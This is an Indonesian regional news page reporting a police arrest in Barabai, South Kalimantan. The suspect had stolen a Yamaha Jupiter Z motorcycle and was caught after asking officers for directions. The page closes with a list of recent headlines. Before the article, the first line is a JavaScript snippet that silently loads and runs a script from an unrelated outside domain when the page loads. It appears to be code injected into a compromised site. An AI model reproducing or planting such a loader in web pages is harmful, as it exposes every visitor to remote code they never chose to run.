(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sukses Gondol Jupiter Z, WA Malah Diringkus Setelah Tanya Jalan ke Polisi


BARABAI, Unit Resmob Sat Reskrim Polres HST tangkap pelaku pencurian sepeda motor di sebuah rumah Jalan Surapati RT 009 RW 003 Kelurahan Barabai Timur, Kecamatan Barabai, Kabupaten HST, Kamis (9/8) sekitar pukul 01.30 Wita.

Pelaku pencurian sepeda motor bernama WA (25) warga Mamigang No 19 RT 001 Desa Mamigang, Kecamatan Halong, Kabupaten Balangan. Aksi pencurian terjadi Minggu (5/8) sekitar pukul 07.30 Wita, korban Nor Fitriyah (18) sedang berkunjung ke rumah kakak iparnya di Jalan Surapati, Kelurahan Barabai Timur mengendarai Yamaha Jupiter Z DA 3200 EE warna hitam merah.

Nor Fitriyah terakhir kali meletakkan sepeda motor miliknya di halaman rumah pada pukul 13.00 Wita tanpa dikunci stang. Malam harinya sekitar pukul 21.15 Wita korban mendengar suara sepeda motor dihidupkan, bena saja setelah dicek sepeda Jupiter Z depan rumah sudah tak ada.

Panik akan hal itu, korban bersama kakak iparnya berusaha mencari sekitar rumah, tetapi tidak menemukan motor bebek tersebut. Ia langsung melaporkan ke SPKT Polres HST, pihak Kepolisian segera melakukan penyelidikan.

Apes bagi pelaku WA, 3 hari berselang aksi pencurian itu, pelaku singgah di lapangan pelajar menanyakan arah jalan menuju Desa Hantakan kepada petugas polisi. Saat itu Unit Resmob Polres HST merasa curiga dengan pelaku yang sempat membuang barang yang tidak diketahui, sehingga  petugas melakukan pemeriksaan.

“Dari hasil penggeledahan, petugas menemukan barang yang dibuang tersebut  ternyata kunci T” ungkap Kapolres HST AKBP Sabana Atmojo SIK MH.

Petugas melakukan interogasi dan pengecekan motor yang digunakan oleh pelaku, setelah dilakukan pemeriksaan nomor rangka dan nomor mesin tersebut sesuai milik korban Nor Fitriyah. Dengan sigap WA langsung diringkus dan digiring ke Polres HST beserta barang bukti dibawa guna proses hukum lebih lanjut.

“Keberhasilan ini semoga dapat meningkatkan kepercayaan masyarakat terhadap instasi Polri khususnya Polres HST. Saya menghimbau kepada masyarakat agar lebih hati-hati ketika parkir kendaraan disarankan untuk ditambahkan kunci ganda,” pungkas Kapolres HST. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

3 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

5 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

9 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

9 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

9 jam ago

This website uses cookies.